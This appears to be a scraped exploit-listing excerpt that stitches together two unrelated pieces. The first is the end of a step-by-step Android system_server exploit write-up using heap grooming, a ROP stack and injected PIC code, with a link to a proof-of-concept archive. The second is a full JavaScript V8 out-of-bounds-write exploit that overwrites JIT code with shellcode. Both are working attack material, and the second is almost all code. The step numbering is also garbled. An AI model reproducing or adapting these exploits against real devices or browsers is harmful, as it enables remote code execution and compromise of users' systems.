---------------------------------------------------------------- | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | ---------------------------------------------------------------- || \/ <--low high--> ---------------------------------------------------------------- | Bitmap | Bitmap ||||hole|||| Bitmap | Bitmap | Bitmap | Bitmap | ---------------------------------------------------------------- 4. Now that there's a THREAD_SIZE-sized hole opened up, we can call AudioSystem.loadSoundEffects() in order to re-create the SoundPool object within system_server. This will allocate a new "SoundPoolThread" thread in system_server, which (after brief initialization) enters a polling loop on a condition variable (or rather, a futex), waiting for messages to be enqueued. However, this thread's stack will be directly mmap-ed in our previously created hole, like so: <--low high--> --------------------------------------------------------------------------- | Bitmap | Bitmap |SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap | --------------------------------------------------------------------------- 6. Now, similarly to step 3., we can free the chunk directly before the previously unmapped chunk, creating the following state: <--low high--> ----------------------------------------------------------------------------- | Bitmap ||||hole||||SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap | ----------------------------------------------------------------------------- 6. Finally, we send our "poisoned" bitmap object, which should get allocated directly in front of the SoundPoolThread's stack. Then, we force garbage collection once more, resulting in both the bitmap and the SoundPoolThread's stack being unmapped. However, since the SoundPoolThread is still waiting on a futex, this is fine. Here's what this stage looks like: <--low high--> -------------------------------------------------------------------------------- | Bitmap |Poison Bitmap|SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap | -------------------------------------------------------------------------------- || \/ <--low high--> -------------------------------------------------------------------------------- | Bitmap ||||||||||||||||hole||||||||||||||||| Bitmap | Bitmap | Bitmap | Bitmap | -------------------------------------------------------------------------------- 7. At this point we can enqueue another notification, this time backed by a specially crafted ashmem file, containing two separate pieces of information: a. A chunk of position independent ARM/ARM64 code, followed by b. A ROP stack This notification will be of size THREAD_SIZE*2, and will therefore fill up the hole we just set up, resulting in the following state: <--low high--> ------------------------------------------------------------------- | Bitmap | PIC code | ROP Stack | Bitmap | Bitmap | Bitmap | Bitmap | ------------------------------------------------------------------- 8. Now, we can safely call AudioService.unloadSoundEffects() once more. This will signal the condition variable that SoundPoolThread was waiting on, but now when it returns it will be executing our own ROP stack. The ROP stack simply mmap-s the ashmem file descriptor with PROT_EXEC and jumps into it (essentially executing the PIC code we supplied). Proofs of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40874.zip
  25. // Source: https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/ // // v8 exploit for https://crbug.com/716044 var oob_rw = null; var leak = null; var arb_rw = null; var code = function() { return 1; } code(); class BuggyArray extends Array { constructor(len) { super(1); oob_rw = new Array(1.1, 1.1); leak = new Array(code); arb_rw = new ArrayBuffer(4); } }; class MyArray extends Array { static get [Symbol.species]() { return BuggyArray; } } var convert_buf = new ArrayBuffer(8); var float64 = new Float64Array(convert_buf); var uint8 = new Uint8Array(convert_buf); var uint32 = new Uint32Array(convert_buf); function Uint64Add(dbl, to_add_int) { float64[0] = dbl; var lower_add = uint32[0] + to_add_int; if (lower_add > 0xffffffff) { lower_add &= 0xffffffff; uint32[1] += 1; } uint32[0] = lower_add; return float64[0]; } // Memory layout looks like this: // ================================================================================ // |a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30) | // -------------------------------------------------------------------------------- // |oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) | // -------------------------------------------------------------------------------- // |arb_rw ArrayBuffer | // ================================================================================ var myarray = new MyArray(); myarray.length = 9; myarray[4] = 42; myarray[8] = 42; myarray.map(function(x) { return 1000000; }); var js_function_addr = oob_rw[10]; // JSFunction for code() // Set arb_rw's kByteLengthOffset to something big. uint32[0] = 0; uint32[1] = 1000000; oob_rw[14] = float64[0]; // Set arb_rw's kBackingStoreOffset to // js_function_addr + JSFunction::kCodeEntryOffset - 1 // (to get rid of Object tag) oob_rw[15] = Uint64Add(js_function_addr, 56-1); var js_function_uint32 = new Uint32Array(arb_rw); uint32[0] = js_function_uint32[0]; uint32[1] = js_function_uint32[1]; oob_rw[15] = Uint64Add(float64[0], 128); // 128 = code header size // pop /usr/bin/xcalc var shellcode = new Uint32Array(arb_rw); shellcode[0] = 0x90909090; shellcode[1] = 0x90909090; shellcode[2] = 0x782fb848; shellcode[3] = 0x636c6163; shellcode[4] = 0x48500000; shellcode[5] = 0x73752fb8; shellcode[6] = 0x69622f72; shellcode[7] = 0x8948506e; shellcode[8] = 0xc03148e7; shellcode[9] = 0x89485750; shellcode[10] = 0xd23148e6; shellcode[11] = 0x3ac0c748; shellcode[12] = 0x50000030; shellcode[13] = 0x4944b848; shellcode[14] = 0x414c5053; shellcode[15] = 0x48503d59; shellcode[16] = 0x3148e289; shellcode[17] = 0x485250c0; shellcode[18] = 0xc748e289; shellcode[19] = 0x00003bc0; shellcode[20] = 0x050f00; code();